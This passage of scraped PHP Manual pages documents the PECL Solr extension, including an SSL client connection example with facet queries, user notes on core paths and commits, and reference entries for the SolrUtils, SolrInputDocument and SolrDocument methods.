            [memory] => 3
            [Lucene] => 2
            [Software] => 2
            [card] => 2
            [connector] => 2
            [drive] => 2
            [graphics] => 2
            [hard] => 2
            [monitor] => 2
            [search] => 2
            [software] => 2
        )

    [name] => SolrObject Object
        (
            [gb] => 6
        )

)

Example #11 Connecting to SSL-Enabled Server

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
    'timeout'  => SOLR_SERVER_TIMEOUT,
    'secure'   => SOLR_SECURE,
    'ssl_cert' => SOLR_SSL_CERT_ONLY,
    'ssl_key'  => SOLR_SSL_KEY,
    'ssl_keypassword' => SOLR_SSL_KEYPASSWORD,
    'ssl_cainfo' => SOLR_SSL_CAINFO,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetField('cat')->addFacetField('name')->setFacetMinCount(2)->setFacetMinCount(4, 'name');

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_fields;

print_r($facet_data);

?>

The above example will output something similar to:

SolrObject Object
(
    [cat] => SolrObject Object
        (
            [electronics] => 14
            [memory] => 3
            [Lucene] => 2
            [Software] => 2
            [card] => 2
            [connector] => 2
            [drive] => 2
            [graphics] => 2
            [hard] => 2
            [monitor] => 2
            [search] => 2
            [software] => 2
        )

    [name] => SolrObject Object
        (
            [gb] => 6
        )

)

User Contributed Notes

jschwehn+php at IGNOrMEgmail dot com 29-Oct-2010 06:05
If you are using Solr's multicore feature, you can access the cores via the path parameter in the $options array.
E.g.
<?php
  $options = array(...., 'path' => 'solr/core0', ...);
?>
jschwehn+php.a.t.gmail.com 19-Oct-2010 05:51
If you like to access a different RequestHander than '/select' you can change it via http://php.net/manual/en/solrclient.setservlet.php
bjorn at bjorn-erik dot biz 19-Sep-2010 12:47
If you're testing these examples on a fresh install of solr, you will need to run a commit statement after you add documents to receive results when searching.

For example, add this:
<?php $client->commit(); ?>

to example 3 to be able to get any results when doing a search using example 5.
trickito at yahoo 16-Nov-2009 09:08
if your path to solr is something other than: /solr

you should add this to the bootstrap file above:

define('SOLR_SERVER_PATH', 'my-solr-url');

and then a corresponding entry to the options array in your client php code like:

'path'     => SOLR_SERVER_PATH

I couldn't find this is in the documentation and had to peek at the source to figure it out.
solr_get_version
SolrUtils
Solr


The SolrUtils class

(No version information available, might only be in SVN)

Introduction

Contains utility methods for retrieving the current extension version and preparing query phrases.

Also contains method for escaping query strings and parsing XML responses.

Class synopsis

abstract SolrUtils {
/* Methods */
public static SolrObject digestXmlResponse ( string $xmlresponse [, int $parse_mode = 0 ] )
public static string escapeQueryChars ( string $str )
public static string getSolrVersion ( void )
public static string queryPhrase ( string $str )
}

Table of Contents

  • SolrUtils::digestXmlResponse — Parses an response XML string into a SolrObject
  • SolrUtils::escapeQueryChars — Escapes a lucene query string
  • SolrUtils::getSolrVersion — Returns the current version of the Solr extension
  • SolrUtils::queryPhrase — Prepares a phrase from an unescaped lucene string

User Contributed Notes

There are no user contributed notes for this page.
Examples
SolrUtils::digestXmlResponse
Solr


Parses an response XML string into a SolrObject

SolrUtils
SolrUtils::escapeQueryChars
SolrUtils
PHP Manual

SolrUtils::digestXmlResponse

(PECL solr >= 0.9.2)

SolrUtils::digestXmlResponse — Parses an response XML string into a SolrObject

Description

public static SolrObject SolrUtils::digestXmlResponse ( string $xmlresponse [, int $parse_mode = 0 ] )

This method parses an response XML string from the Apache Solr server into a SolrObject. It throws a SolrException if there was an error.

Parameters

xmlresponse

The XML response string from the Solr server.

parse_mode

Use SolrResponse::PARSE_SOLR_OBJ or SolrResponse::PARSE_SOLR_DOC

Return Values

Returns the SolrObject representing the XML response.

If the parse_mode parameter is set to SolrResponse::PARSE_SOLR_OBJ Solr documents will be parses as SolrObject instances.

If it is set to SolrResponse::PARSE_SOLR_DOC, they will be parsed as SolrDocument instances.

User Contributed Notes

There are no user contributed notes for this page.
SolrUtils
SolrUtils::escapeQueryChars
SolrUtils


Escapes a lucene query string

SolrUtils::digestXmlResponse
SolrUtils::getSolrVersion
SolrUtils
PHP Manual

SolrUtils::escapeQueryChars

(PECL solr >= 0.9.2)

SolrUtils::escapeQueryChars — Escapes a lucene query string

Description

public static string SolrUtils::escapeQueryChars ( string $str )

Lucene supports escaping special characters that are part of the query syntax.

The current list special characters are:

+ - && || ! ( ) { } [ ] ^ " ~ * ? : \

These characters are part of the query syntax and must be escaped

Parameters

str

This is the query string to be escaped.

Return Values

Returns the escaped string or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrUtils::digestXmlResponse
SolrUtils::getSolrVersion
SolrUtils


Returns the current version of the Solr extension

SolrUtils::escapeQueryChars
SolrUtils::queryPhrase
SolrUtils
PHP Manual

SolrUtils::getSolrVersion

(PECL solr >= 0.9.2)

SolrUtils::getSolrVersion — Returns the current version of the Solr extension

Description

public static string SolrUtils::getSolrVersion ( void )

Returns the current Solr version.

Parameters

This function has no parameters.

Return Values

The current version of the Apache Solr extension.

User Contributed Notes

There are no user contributed notes for this page.
SolrUtils::escapeQueryChars
SolrUtils::queryPhrase
SolrUtils


Prepares a phrase from an unescaped lucene string

SolrUtils::getSolrVersion
SolrInputDocument
SolrUtils
PHP Manual

SolrUtils::queryPhrase

(PECL solr >= 0.9.2)

SolrUtils::queryPhrase — Prepares a phrase from an unescaped lucene string

Description

public static string SolrUtils::queryPhrase ( string $str )

Prepares a phrase from an unescaped lucene string.

Parameters

str

The lucene phrase.

Return Values

Returns the phrase contained in double quotes.

User Contributed Notes

There are no user contributed notes for this page.
SolrUtils::getSolrVersion
SolrInputDocument
SolrUtils


The SolrInputDocument class

(No version information available, might only be in SVN)

Introduction

This class represents a Solr document that is about to be submitted to the Solr index.

Class synopsis

final SolrInputDocument {
/* Constants */
const integer SORT_DEFAULT = 1 ;
const integer SORT_ASC = 1 ;
const integer SORT_DESC = 2 ;
const integer SORT_FIELD_NAME = 1 ;
const integer SORT_FIELD_VALUE_COUNT = 2 ;
const integer SORT_FIELD_BOOST_VALUE = 4 ;
/* Methods */
public bool addField ( string $fieldName , string $fieldValue [, float $fieldBoostValue = 0.0 ] )
public bool clear ( void )
public void __clone ( void )
public __construct ( void )
public bool deleteField ( string $fieldName )
public void __destruct ( void )
public bool fieldExists ( string $fieldName )
public float getBoost ( void )
public SolrDocumentField getField ( string $fieldName )
public float getFieldBoost ( string $fieldName )
public int getFieldCount ( void )
public array getFieldNames ( void )
public bool merge ( SolrInputDocument $sourceDoc [, bool $overwrite = true ] )
public bool reset ( void )
public bool setBoost ( float $documentBoostValue )
public bool setFieldBoost ( string $fieldName , float $fieldBoostValue )
public bool sort ( int $sortOrderBy [, int $sortDirection = SolrInputDocument::SORT_ASC ] )
public array toArray ( void )
}

Predefined Constants

SolrInputDocument Class Constants

SolrInputDocument::SORT_DEFAULT

Sorts the fields in ascending order.

SolrInputDocument::SORT_ASC

Sorts the fields in ascending order.

SolrInputDocument::SORT_DESC

Sorts the fields in descending order.

SolrInputDocument::SORT_FIELD_NAME

Sorts the fields by name

SolrInputDocument::SORT_FIELD_VALUE_COUNT

Sorts the fields by number of values.

SolrInputDocument::SORT_FIELD_BOOST_VALUE

Sorts the fields by boost value.

Table of Contents

  • SolrInputDocument::addField — Adds a field to the document
  • SolrInputDocument::clear — Resets the input document
  • SolrInputDocument::__clone — Creates a copy of a SolrDocument
  • SolrInputDocument::__construct — Constructor
  • SolrInputDocument::deleteField — Removes a field from the document
  • SolrInputDocument::__destruct — Destructor
  • SolrInputDocument::fieldExists — Checks if a field exists
  • SolrInputDocument::getBoost — Retrieves the current boost value for the document
  • SolrInputDocument::getField — Retrieves a field by name
  • SolrInputDocument::getFieldBoost — Retrieves the boost value for a particular field
  • SolrInputDocument::getFieldCount — Returns the number of fields in the document
  • SolrInputDocument::getFieldNames — Returns an array containing all the fields in the document
  • SolrInputDocument::merge — Merges one input document into another
  • SolrInputDocument::reset — This is an alias of SolrInputDocument::clear
  • SolrInputDocument::setBoost — Sets the boost value for this document
  • SolrInputDocument::setFieldBoost — Sets the index-time boost value for a field
  • SolrInputDocument::sort — Sorts the fields within the document
  • SolrInputDocument::toArray — Returns an array representation of the input document

User Contributed Notes

There are no user contributed notes for this page.
SolrUtils::queryPhrase
SolrInputDocument::addField
Solr


Adds a field to the document

SolrInputDocument
SolrInputDocument::clear
SolrInputDocument
PHP Manual

SolrInputDocument::addField

(PECL solr >= 0.9.2)

SolrInputDocument::addField — Adds a field to the document

Description

public bool SolrInputDocument::addField ( string $fieldName , string $fieldValue [, float $fieldBoostValue = 0.0 ] )

For multi-value fields, if a valid boost value is specified, the specified value will be multiplied by the current boost value for this field.

Parameters

fieldName

The name of the field

fieldValue

The value for the field.

fieldBoostValue

The index time boost for the field. Though this cannot be negative, you can still pass values less than 1.0 but they must be greater than zero.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument
SolrInputDocument::clear
SolrInputDocument


Resets the input document

SolrInputDocument::addField
SolrInputDocument::__clone
SolrInputDocument
PHP Manual

SolrInputDocument::clear

(PECL solr >= 0.9.2)

SolrInputDocument::clear — Resets the input document

Description

public bool SolrInputDocument::clear ( void )

Resets the document by dropping all the fields and resets the document boost to zero.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument::addField
SolrInputDocument::__clone
SolrInputDocument


Creates a copy of a SolrDocument

SolrInputDocument::clear
SolrInputDocument::__construct
SolrInputDocument
PHP Manual

SolrInputDocument::__clone

(PECL solr >= 0.9.2)

SolrInputDocument::__clone — Creates a copy of a SolrDocument

Description

public void SolrInputDocument::__clone ( void )

Should not be called directly. It is used to create a deep copy of a SolrInputDocument.

Parameters

This function has no parameters.

Return Values

Creates a new SolrInputDocument instance.

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument::clear
SolrInputDocument::__construct
SolrInputDocument


Constructor

SolrInputDocument::__clone
SolrInputDocument::deleteField
SolrInputDocument
PHP Manual

SolrInputDocument::__construct

(PECL solr >= 0.9.2)

SolrInputDocument::__construct — Constructor

Description

public SolrInputDocument::__construct ( void )

Constructor.

Parameters

This function has no parameters.

Return Values

None.

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument::__clone
SolrInputDocument::deleteField
SolrInputDocument


Removes a field from the document

SolrInputDocument::__construct
SolrInputDocument::__destruct
SolrInputDocument
PHP Manual

SolrInputDocument::deleteField

(PECL solr >= 0.9.2)

SolrInputDocument::deleteField — Removes a field from the document

Description

public bool SolrInputDocument::deleteField ( string $fieldName )

Removes a field from the document.

Parameters

fieldName

The name of the field.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument::__construct
SolrInputDocument::__destruct
SolrInputDocument


Destructor

SolrInputDocument::deleteField
SolrInputDocument::fieldExists
SolrInputDocument
PHP Manual

SolrInputDocument::__destruct

(PECL solr >= 0.9.2)

SolrInputDocument::__destruct — Destructor

Description

public void SolrInputDocument::__destruct ( void )

Destructor

Parameters

This function has no parameters.

Return Values

None.

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument::deleteField
SolrInputDocument::fieldExists
SolrInputDocument


Checks if a field exists

SolrInputDocument::__destruct
SolrInputDocument::getBoost
SolrInputDocument
PHP Manual

SolrInputDocument::fieldExists

(PECL solr >= 0.9.2)

SolrInputDocument::fieldExists — Checks if a field exists

Description

public bool SolrInputDocument::fieldExists ( string $fieldName )

Checks if a field exists

Parameters

fieldName

Name of the field.

Return Values

Returns TRUE if the field was found and FALSE if it was not found.

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument::__destruct
SolrInputDocument::getBoost
SolrInputDocument


Retrieves the current boost value for the document

SolrInputDocument::fieldExists
SolrInputDocument::getField
SolrInputDocument
PHP Manual

SolrInputDocument::getBoost

(PECL solr >= 0.9.2)

SolrInputDocument::getBoost — Retrieves the current boost value for the document

Description

public float SolrInputDocument::getBoost ( void )

Retrieves the current boost value for the document.

Parameters

This function has no parameters.

Return Values

Returns the boost value on success and FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument::fieldExists
SolrInputDocument::getField
SolrInputDocument


Retrieves a field by name

SolrInputDocument::getBoost
SolrInputDocument::getFieldBoost
SolrInputDocument
PHP Manual

SolrInputDocument::getField

(PECL solr >= 0.9.2)

SolrInputDocument::getField — Retrieves a field by name

Description

public SolrDocumentField SolrInputDocument::getField ( string $fieldName )

Retrieves a field in the document.

Parameters

fieldName

The name of the field.

Return Values

Returns a SolrDocumentField object on success and FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument::getBoost
SolrInputDocument::getFieldBoost
SolrInputDocument


Retrieves the boost value for a particular field

SolrInputDocument::getField
SolrInputDocument::getFieldCount
SolrInputDocument
PHP Manual

SolrInputDocument::getFieldBoost

(PECL solr >= 0.9.2)

SolrInputDocument::getFieldBoost — Retrieves the boost value for a particular field

Description

public float SolrInputDocument::getFieldBoost ( string $fieldName )

Retrieves the boost value for a particular field.

Parameters

fieldName

The name of the field.

Return Values

Returns the boost value for the field or FALSE if there was an error.

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument::getField
SolrInputDocument::getFieldCount
SolrInputDocument


Returns the number of fields in the document

SolrInputDocument::getFieldBoost
SolrInputDocument::getFieldNames
SolrInputDocument
PHP Manual

SolrInputDocument::getFieldCount

(PECL solr >= 0.9.2)

SolrInputDocument::getFieldCount — Returns the number of fields in the document

Description

public int SolrInputDocument::getFieldCount ( void )

Returns the number of fields in the document.

Parameters

This function has no parameters.

Return Values

Returns an integer on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument::getFieldBoost
SolrInputDocument::getFieldNames
SolrInputDocument


Returns an array containing all the fields in the document

SolrInputDocument::getFieldCount
SolrInputDocument::merge
SolrInputDocument
PHP Manual

SolrInputDocument::getFieldNames

(PECL solr >= 0.9.2)

SolrInputDocument::getFieldNames — Returns an array containing all the fields in the document

Description

public array SolrInputDocument::getFieldNames ( void )

Returns an array containing all the fields in the document.

Parameters

This function has no parameters.

Return Values

Returns an array on success and FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument::getFieldCount
SolrInputDocument::merge
SolrInputDocument


Merges one input document into another

SolrInputDocument::getFieldNames
SolrInputDocument::reset
SolrInputDocument
PHP Manual

SolrInputDocument::merge

(PECL solr >= 0.9.2)

SolrInputDocument::merge — Merges one input document into another

Description

public bool SolrInputDocument::merge ( SolrInputDocument $sourceDoc [, bool $overwrite = true ] )

Merges one input document into another.

Parameters

sourceDoc

The source document.

overwrite

If this is TRUE it will replace matching fields in the destination document.

Return Values

Returns TRUE on success or FALSE on failure. In the future, this will be modified to return the number of fields in the new document.

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument::getFieldNames
SolrInputDocument::reset
SolrInputDocument


This is an alias of SolrInputDocument::clear

SolrInputDocument::merge
SolrInputDocument::setBoost
SolrInputDocument
PHP Manual

SolrInputDocument::reset

(PECL solr >= 0.9.2)

SolrInputDocument::reset — This is an alias of SolrInputDocument::clear

Description

public bool SolrInputDocument::reset ( void )

This is an alias of SolrInputDocument::clear

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument::merge
SolrInputDocument::setBoost
SolrInputDocument


Sets the boost value for this document

SolrInputDocument::reset
SolrInputDocument::setFieldBoost
SolrInputDocument
PHP Manual

SolrInputDocument::setBoost

(PECL solr >= 0.9.2)

SolrInputDocument::setBoost — Sets the boost value for this document

Description

public bool SolrInputDocument::setBoost ( float $documentBoostValue )

Sets the boost value for this document.

Parameters

documentBoostValue

The index-time boost value for this document.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument::reset
SolrInputDocument::setFieldBoost
SolrInputDocument


Sets the index-time boost value for a field

SolrInputDocument::setBoost
SolrInputDocument::sort
SolrInputDocument
PHP Manual

SolrInputDocument::setFieldBoost

(PECL solr >= 0.9.2)

SolrInputDocument::setFieldBoost — Sets the index-time boost value for a field

Description

public bool SolrInputDocument::setFieldBoost ( string $fieldName , float $fieldBoostValue )

Sets the index-time boost value for a field. This replaces the current boost value for this field.

Parameters

fieldName

The name of the field.

fieldBoostValue

The index time boost value.

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument::setBoost
SolrInputDocument::sort
SolrInputDocument


Sorts the fields within the document

SolrInputDocument::setFieldBoost
SolrInputDocument::toArray
SolrInputDocument
PHP Manual

SolrInputDocument::sort

(PECL solr >= 0.9.2)

SolrInputDocument::sort — Sorts the fields within the document

Description

public bool SolrInputDocument::sort ( int $sortOrderBy [, int $sortDirection = SolrInputDocument::SORT_ASC ] )

The fields are rearranged according to the specified criteria and sort direction

   Fields can be sorted by boost values, field names and number of values.

   The $order_by parameter must be one of :

   * SolrInputDocument::SORT_FIELD_NAME
   * SolrInputDocument::SORT_FIELD_BOOST_VALUE
   * SolrInputDocument::SORT_FIELD_VALUE_COUNT

   The sort direction can be one of :

   * SolrInputDocument::SORT_DEFAULT
   * SolrInputDocument::SORT_ASC
   * SolrInputDocument::SORT_DESC

Parameters

sortOrderBy

The sort criteria

sortDirection

The sort direction

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument::setFieldBoost
SolrInputDocument::toArray
SolrInputDocument


Returns an array representation of the input document

SolrInputDocument::sort
SolrDocument
SolrInputDocument
PHP Manual

SolrInputDocument::toArray

(PECL solr >= 0.9.2)

SolrInputDocument::toArray — Returns an array representation of the input document

Description

public array SolrInputDocument::toArray ( void )

Returns an array representation of the input document.

Parameters

This function has no parameters.

Return Values

Returns an array containing the fields. It returns FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument::sort
SolrDocument
SolrInputDocument


The SolrDocument class

(No version information available, might only be in SVN)

Introduction

Represents a Solr document retrieved from a query response.

Class synopsis

final SolrDocument implements ArrayAccess , Iterator , Traversable , Serializable {
/* Constants */
const integer SORT_DEFAULT = 1 ;
const integer SORT_ASC = 1 ;
const integer SORT_DESC = 2 ;
const integer SORT_FIELD_NAME = 1 ;
const integer SORT_FIELD_VALUE_COUNT = 2 ;
const integer SORT_FIELD_BOOST_VALUE = 4 ;
/* Methods */
public bool addField ( string $fieldName , string $fieldValue )
public bool clear ( void )
public void __clone ( void )
public __construct ( void )
public SolrDocumentField current ( void )
public bool deleteField ( string $fieldName )
public void __destruct ( void )
public bool fieldExists ( string $fieldName )
public SolrDocumentField __get ( string $fieldName )
public SolrDocumentField getField ( string $fieldName )
public int getFieldCount ( void )
public array getFieldNames ( void )
public SolrInputDocument getInputDocument ( void )
public bool __isset ( string $fieldName )
public string key ( void )
public bool merge ( SolrDocument $sourceDoc [, bool $overwrite = true ] )
public void next ( void )
public bool offsetExists ( string $fieldName )
public SolrDocumentField offsetGet ( string $fieldName )
public void offsetSet ( string $fieldName , string $fieldValue )
public void offsetUnset ( string $fieldName )
public bool reset ( void )
public void rewind ( void )
public string serialize ( void )
public bool __set ( string $fieldName , string $fieldValue )
public bool sort ( int $sortOrderBy [, int $sortDirection = SolrDocument::SORT_ASC ] )
public array toArray ( void )
public void unserialize ( string $serialized )
public bool __unset ( string $fieldName )
public bool valid ( void )
}

Predefined Constants

SolrDocument::SORT_DEFAULT

Default mode for sorting fields within the document.

SolrDocument::SORT_ASC

Sorts the fields in ascending order

SolrDocument::SORT_DESC

Sorts the fields in descending order

SolrDocument::SORT_FIELD_NAME

Sorts the fields by field name.

SolrDocument::SORT_FIELD_VALUE_COUNT

Sorts the fields by number of values in each field.

SolrDocument::SORT_FIELD_BOOST_VALUE

Sorts the fields by thier boost values.

Table of Contents

  • SolrDocument::addField — Adds a field to the document
  • SolrDocument::clear — Drops all the fields in the document
  • SolrDocument::__clone — Creates a copy of a SolrDocument object
  • SolrDocument::__construct — Constructor
  • SolrDocument::current — Retrieves the current field
  • SolrDocument::deleteField — Removes a field from the document
  • SolrDocument::__destruct — Destructor
  • SolrDocument::fieldExists — Checks if a field exists in the document
  • SolrDocument::__get — Acess the field as a property
  • SolrDocument::getField — Retrieves a field by name
  • SolrDocument::getFieldCount — Returns the number of fields in this document
  • SolrDocument::getFieldNames — Returns an array of fields names in the document
  • SolrDocument::getInputDocument — Returns a SolrInputDocument equivalent of the object
  • SolrDocument::__isset — Checks if a field exists
  • SolrDocument::key — Retrieves the current key
  • SolrDocument::merge — Merges source to the current SolrDocument
  • SolrDocument::next — Moves the internal pointer to the next field
  • SolrDocument::offsetExists — Checks if a particular field exists
  • SolrDocument::offsetGet — Retrieves a field
  • SolrDocument::offsetSet — Adds a field to the document
  • SolrDocument::offsetUnset — Removes a field
  • SolrDocument::reset — This is an alias to SolrDocument::clear()
  • SolrDocument::rewind — Resets the internal pointer to the beginning
  • SolrDocument::serialize — Used for custom serialization
  • SolrDocument::__set — Adds another field to the document
  • SolrDocument::sort — Sorts the fields in the document
  • SolrDocument::toArray — Returns an array representation of the document
  • SolrDocument::unserialize — Custom serialization of SolrDocument objects
  • SolrDocument::__unset — Removes a field from the document
  • SolrDocument::valid — Checks if the current position internally is still valid

User Contributed Notes

There are no user contributed notes for this page.
SolrInputDocument::toArray
SolrDocument::addField
Solr


Adds a field to the document

SolrDocument
SolrDocument::clear
SolrDocument
PHP Manual

SolrDocument::addField

(PECL solr >= 0.9.2)

SolrDocument::addField — Adds a field to the document

Description

public bool SolrDocument::addField ( string $fieldName , string $fieldValue )

This method adds a field to the SolrDocument instance.

Parameters

fieldName

The name of the field

fieldValue

The value of the field.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument
SolrDocument::clear
SolrDocument


Drops all the fields in the document

SolrDocument::addField
SolrDocument::__clone
SolrDocument
PHP Manual

SolrDocument::clear

(PECL solr >= 0.9.2)

SolrDocument::clear — Drops all the fields in the document

Description

public bool SolrDocument::clear ( void )

Resets the current object. Discards all the fields and resets the document boost to zero.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::addField
SolrDocument::__clone
SolrDocument


Creates a copy of a SolrDocument object

SolrDocument::clear
SolrDocument::__construct
SolrDocument
PHP Manual

SolrDocument::__clone

(PECL solr >= 0.9.2)

SolrDocument::__clone — Creates a copy of a SolrDocument object

Description

public void SolrDocument::__clone ( void )

Creates a copy of a SolrDocument object. Not to be called directly.

Parameters

This function has no parameters.

Return Values

None.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::clear
SolrDocument::__construct
SolrDocument


Constructor

SolrDocument::__clone
SolrDocument::current
SolrDocument
PHP Manual

SolrDocument::__construct

(PECL solr >= 0.9.2)

SolrDocument::__construct — Constructor

Description

public SolrDocument::__construct ( void )

Constructor for SolrDocument

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::__clone
SolrDocument::current
SolrDocument


Retrieves the current field

SolrDocument::__construct
SolrDocument::deleteField
SolrDocument
PHP Manual

SolrDocument::current

(PECL solr >= 0.9.2)

SolrDocument::current — Retrieves the current field

Description

public SolrDocumentField SolrDocument::current ( void )

Retrieves the current field

Parameters

This function has no parameters.

Return Values

Returns the field

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::__construct
SolrDocument::deleteField
SolrDocument


Removes a field from the document

SolrDocument::current
SolrDocument::__destruct
SolrDocument
PHP Manual

SolrDocument::deleteField

(PECL solr >= 0.9.2)

SolrDocument::deleteField — Removes a field from the document

Description

public bool SolrDocument::deleteField ( string $fieldName )

Removes a field from the document.

Parameters

fieldName

Name of the field

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::current
SolrDocument::__destruct
SolrDocument


Destructor

SolrDocument::deleteField
SolrDocument::fieldExists
SolrDocument
PHP Manual

SolrDocument::__destruct

(PECL solr >= 0.9.2)

SolrDocument::__destruct — Destructor

Description

public void SolrDocument::__destruct ( void )

Destructor for SolrDocument.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::deleteField
SolrDocument::fieldExists
SolrDocument


Checks if a field exists in the document

SolrDocument::__destruct
SolrDocument::__get
SolrDocument
PHP Manual

SolrDocument::fieldExists

(PECL solr >= 0.9.2)

SolrDocument::fieldExists — Checks if a field exists in the document

Description

public bool SolrDocument::fieldExists ( string $fieldName )

Checks if the requested field as a valid fieldname in the document.

Parameters

fieldName

The name of the field.

Return Values

Returns TRUE if the field is present and FALSE if it does not.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::__destruct
SolrDocument::__get
SolrDocument


Acess the field as a property

SolrDocument::fieldExists
SolrDocument::getField
SolrDocument
PHP Manual

SolrDocument::__get

(PECL solr >= 0.9.2)

SolrDocument::__get — Acess the field as a property

Description

public SolrDocumentField SolrDocument::__get ( string $fieldName )

Magic method for accessing the field as a property.

Parameters

fieldName

The name of the field.

Return Values

Returns a SolrDocumentField instance.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::fieldExists
SolrDocument::getField
SolrDocument


Retrieves a field by name

SolrDocument::__get
SolrDocument::getFieldCount
SolrDocument
PHP Manual

SolrDocument::getField

(PECL solr >= 0.9.2)

SolrDocument::getField — Retrieves a field by name

Description

public SolrDocumentField SolrDocument::getField ( string $fieldName )

Retrieves a field by name.

Parameters

fieldName

Name of the field.

Return Values

Returns a SolrDocumentField on success and FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::__get
SolrDocument::getFieldCount
SolrDocument


Returns the number of fields in this document

SolrDocument::getField
SolrDocument::getFieldNames
SolrDocument
PHP Manual

SolrDocument::getFieldCount

(PECL solr >= 0.9.2)

SolrDocument::getFieldCount — Returns the number of fields in this document

Description

public int SolrDocument::getFieldCount ( void )

Returns the number of fields in this document. Multi-value fields are only counted once.

Parameters

This function has no parameters.

Return Values

Returns an integer on success and FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::getField
SolrDocument::getFieldNames
SolrDocument


Returns an array of fields names in the document

SolrDocument::getFieldCount
SolrDocument::getInputDocument
SolrDocument
PHP Manual

SolrDocument::getFieldNames

(PECL solr >= 0.9.2)

SolrDocument::getFieldNames — Returns an array of fields names in the document

Description

public array SolrDocument::getFieldNames ( void )

Returns an array of fields names in the document.

Parameters

This function has no parameters.

Return Values

Returns an array containing the names of the fields in this document.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::getFieldCount
SolrDocument::getInputDocument
SolrDocument


Returns a SolrInputDocument equivalent of the object

SolrDocument::getFieldNames
SolrDocument::__isset
SolrDocument
PHP Manual

SolrDocument::getInputDocument

(PECL solr >= 0.9.2)

SolrDocument::getInputDocument — Returns a SolrInputDocument equivalent of the object

Description

public SolrInputDocument SolrDocument::getInputDocument ( void )

Returns a SolrInputDocument equivalent of the object. This is useful if one wishes to resubmit/update a document retrieved from a query.

Parameters

This function has no parameters.

Return Values

Returns a SolrInputDocument on success and NULL on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::getFieldNames
SolrDocument::__isset
SolrDocument


Checks if a field exists

SolrDocument::getInputDocument
SolrDocument::key
SolrDocument
PHP Manual

SolrDocument::__isset

(PECL solr >= 0.9.2)

SolrDocument::__isset — Checks if a field exists

Description

public bool SolrDocument::__isset ( string $fieldName )

Checks if a field exists

Parameters

fieldName

Name of the field.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::getInputDocument
SolrDocument::key
SolrDocument


Retrieves the current key

SolrDocument::__isset
SolrDocument::merge
SolrDocument
PHP Manual

SolrDocument::key

(PECL solr >= 0.9.2)

SolrDocument::key — Retrieves the current key

Description

public string SolrDocument::key ( void )

Retrieves the current key.

Parameters

This function has no parameters.

Return Values

Returns the current key.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::__isset
SolrDocument::merge
SolrDocument


Merges source to the current SolrDocument

SolrDocument::key
SolrDocument::next
SolrDocument
PHP Manual

SolrDocument::merge

(PECL solr >= 0.9.2)

SolrDocument::merge — Merges source to the current SolrDocument

Description

public bool SolrDocument::merge ( SolrDocument $sourceDoc [, bool $overwrite = true ] )

Merges source to the current SolrDocument.

Parameters

sourceDoc

The source document.

overwrite

If this is TRUE then fields with the same name in the destination document will be overwritten.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::key
SolrDocument::next
SolrDocument


Moves the internal pointer to the next field

SolrDocument::merge
SolrDocument::offsetExists
SolrDocument
PHP Manual

SolrDocument::next

(PECL solr >= 0.9.2)

SolrDocument::next — Moves the internal pointer to the next field

Description

public void SolrDocument::next ( void )

Moves the internal pointer to the next field.

Parameters

This function has no parameters.

Return Values

This method has no return value.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::merge
SolrDocument::offsetExists
SolrDocument


Checks if a particular field exists

SolrDocument::next
SolrDocument::offsetGet
SolrDocument
PHP Manual

SolrDocument::offsetExists

(PECL solr >= 0.9.2)

SolrDocument::offsetExists — Checks if a particular field exists

Description

public bool SolrDocument::offsetExists ( string $fieldName )

Checks if a particular field exists. This is used when the object is treated as an array.

Parameters

fieldName

The name of the field.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
